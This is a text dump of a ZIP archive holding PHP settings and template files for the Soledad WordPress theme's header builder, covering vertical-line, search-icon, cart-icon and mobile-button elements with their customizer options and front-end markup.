	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     N\}  }  1  inc/builder/elements/pb_search_icon/front-end.phpnu [        <?php
$header_data = $args['header_data'];
$style = penci_builder_validate_mod( $header_data, 'penci_header_search_style' );
?>
<div id="top-search"
     class="pc-builder-element penci-top-search pcheader-icon top-search-classes <?php echo penci_builder_validate_mod( $header_data, 'penci_header_builder_search_icon_css_class' ); ?>">
    <a href="#" aria-label="Search" class="search-click pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_search_icon_btn_style', 'customize' ); ?>">
        <i class="penciicon-magnifiying-glass"></i>
    </a>
    <div class="show-search pcbds-<?php echo $style; ?>">
        <?php if ( 'popup' == $style ) : ?>
            <h3 class="pc-search-top-title">
                <?php echo penci_get_setting( 'penci_trans_search_title' ); ?>
            </h3>
        <?php endif; ?>
		<?php penci_search_form( [ 'innerclass' => true, 'innerclass_css' => 'pc-searchform-inner pc-eajxsearch' ] ); ?>
        <?php if ( 'popup' == $style ) : ?>
            <div class="pc-search-suggest-term post-tags">
                <?php wp_list_categories( array(
						'title_li'   => '',
						'style'      => '',
						'separator'  => '',
						'orderby'    => 'name',
						'show_count' => false,
						'taxonomy'   => 'category',
						'number'     => 10,
						'depth'      => 1,
				) ); ?>
            </div>
			<?php
			$recent_posts = get_posts( array(
				'numberposts' => 4,
				'post_status' => 'publish',
			) );
			if ( $recent_posts ) : ?>
                <div class="pc-search-recent-posts">
                    <h3 class="pc-search-recent-posts-title">
                        <?php echo penci_get_setting( 'penci_trans_recent' ); ?>
                    </h3>
                    <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                        <div class="pcsl-inner penci-clearfix pcsl-grid pencipw-hd-text pcsl-imgpos-top pcsl-col-4 pcsl-tabcol-2 pcsl-mobcol-1">
							<?php foreach ( $recent_posts as $post ) : setup_postdata( $post ); ?>
                                <div class="pcsl-item">
                                    <div class="pcsl-itemin">
                                        <div class="pcsl-iteminer">

                                            <div class="pcsl-thumb">

                                                <a <?php echo penci_layout_bg(penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), false );?> href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="<?php echo penci_layout_bg_class(false);?> penci-image-holder">
                                                                    <?php echo penci_layout_img(penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ),get_the_title(),false);?>
                                                                </a>

                                            </div>
                                            <div class="pcsl-content">

                                                <div class="pcsl-title">
                                                    <a href="<?php the_permalink(); ?>"><?php the_title();?></a>
                                                </div>

                                                <div class="grid-post-box-meta pcsl-meta">
                                                    <span class="sl-date"><?php penci_soledad_time_link(); ?></span>
                                                </div>
                                            </div>

                                        </div>
                                    </div>
                                </div>
							<?php endforeach;
							wp_reset_postdata(); ?>
                        </div>
                    </div>
                </div>
			<?php
			endif;
			wp_reset_postdata();
		endif;
		?>
        <a href="#" aria-label="Close" class="search-click close-search"><i class="penciicon-close-button"></i></a>
    </div>
</div>
<?php if ( 'popup' == $style ) : ?>
    <div class="pc-search-popup-overlay"></div>
<?php endif; ?>PK     N\0h$  $  0  inc/builder/elements/pb_search_icon/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_search_style',
	'default'   => 'showup',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Search Style', 'soledad' ),
	'choices'   => [
		'showup'  => 'Default (Slide Up)',
		'overlay' => 'Overlay',
		'popup'   => 'Popup',
	]
);
$options[] = array(
	'id'        => 'penci_header_search_icon_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Search Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_search_icon_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_icon_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Search Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_btnborder_style',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_search_icon_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_icon_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Search Form Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_input_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Input Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_input_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Input Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_input_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Input Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bg_hcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_hcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_o_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Overlay Search Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_o_bdcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Overlay Search Input Border Bottom Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_o_closecolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Overlay Close Button Color', 'soledad' ),
);

$options[] = array(
	'id'        => 'penci_header_search_icon_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Icon Size','soledad'),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_search_icon_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_input_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Form Input Text Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_search_input_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_btn_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_search_btn_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\aH*  *  /  inc/builder/elements/pb_cart_icon/front-end.phpnu [        <?php 
$header_data = $args['header_data'];
?>
<div class="pb-header-builder cart-icon pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_cart_icon_section_btn_style','customize' ); ?>">
	<?php
	get_template_part( 'template-parts/header/cart-icon' );
	?>
</div>
PK     N\Mti  i  .  inc/builder/elements/pb_cart_icon/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Cart Icon Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Cart Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Cart Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_item_count_txt',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_item_count_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Icon Size','soledad'),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_cart_icon_section_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     N\Kʠ    5  inc/builder/elements/pb_button_mobile_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_shape', 'retangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button penci-builder-button button-mobile-2';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     N\9)  )  4  inc/builder/elements/pb_button_mobile_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_text_setting',
	'default'   => 'Button Text',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_mobile_2_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad'),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	
	'label'     => __( 'Borders Color', 'soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Button Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_mobile_2_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_mobile_2_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     =>  'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\eo    5  inc/builder/elements/pb_vertical_line_4/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line4_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_width' );
$line4_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_height' );
$line4_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_color' );
$line4_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_class' );
$data_attr   = [];
if ( ! empty( $line4_width ) ) {
	$data_attr[] = 'width:' . $line4_width . 'px;';
}
if ( ! empty( $line4_height ) ) {
	$data_attr[] = 'height:' . $line4_height . 'px;';
}
if ( ! empty( $line4_color ) ) {
	$data_attr[] = 'background-color:' . $line4_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-4 <?php echo esc_attr( $line4_class ); ?>"></div>
PK     N\(5  5  4  inc/builder/elements/pb_vertical_line_4/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_spacing',
	'default'   => '',
